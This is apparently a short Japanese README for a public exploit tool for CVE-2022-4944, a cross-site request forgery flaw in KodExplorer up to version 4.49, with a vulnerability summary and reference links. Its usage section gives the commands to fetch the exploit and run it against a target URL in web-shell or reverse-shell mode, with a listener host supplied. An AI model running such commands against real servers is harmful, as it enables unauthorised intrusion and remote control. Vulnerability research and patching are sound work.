「💥」CVE-2022-4944

説明

問題として分類された脆弱性が、kalcaddle KodExplorer バージョン4.49までで発見されました。これは未知の部分に影響を与えます。操作によりクロスサイトリクエストフォージェリが発生します。この脆弱性はCVE-2022-4944として一意に識別されています。リモートから攻撃を開始することが可能です。さらに、エクスプロイトが利用可能です。影響を受けるコンポーネントをアップグレードすることを推奨します。

デモ

使用方法

pip install requests
git clone https://github.com/Brosck/CVE-2022-4944.git
cd CVE-2022-4944
python3 CVE-2022-4944.py -u http://TARGET.TLD/KODExplorer -lh LOCALHOST -m MODE # webshell/reverse mode

参考文献

• https://vuldb.com/?id.227000
• https://www.cve.org/CVERecord?id=CVE-2022-4944